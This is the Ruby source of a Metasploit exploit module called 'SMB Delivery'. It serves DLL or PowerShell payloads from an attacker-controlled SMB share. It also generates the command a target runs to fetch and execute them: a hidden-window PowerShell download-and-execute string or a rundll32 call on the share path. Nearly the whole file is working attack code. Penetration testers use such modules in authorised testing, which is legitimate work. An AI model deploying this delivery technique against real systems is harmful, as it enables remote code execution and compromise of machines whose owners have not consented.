require 'msf/core'
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => "SMB Delivery",
'Description' => %q{
This module serves payloads via an SMB server and provides commands to retrieve
and execute the generated payloads. Currently supports DLLs and Powershell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrew Smith',
'Russel Van Tuyl'
],
'References' =>
[
['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
['DLL', {
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X86_64]
}],
['PSH', {
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X86_64]
}]
],
'Privileged' => false,
'DisclosureDate' => "Jul 26 2016",
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILE_NAME', [ false, 'DLL file name', 'test.dll'])
], self.class)
deregister_options('FILE_CONTENTS')
end
def primer
print_status('Run the following command on the target machine:')
case target.name
when 'PSH'
self.file_contents = cmd_psh_payload( payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
use_single_quotes: true)
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(unc)
download_and_run = "#{ignore_cert}#{download_string}"
print_line generate_psh_command_line( noprofile: true,
windowstyle: 'hidden',
command: download_and_run)
when 'DLL'
self.file_contents = generate_payload_dll
print_line("rundll32.exe #{unc},0")
end
end
end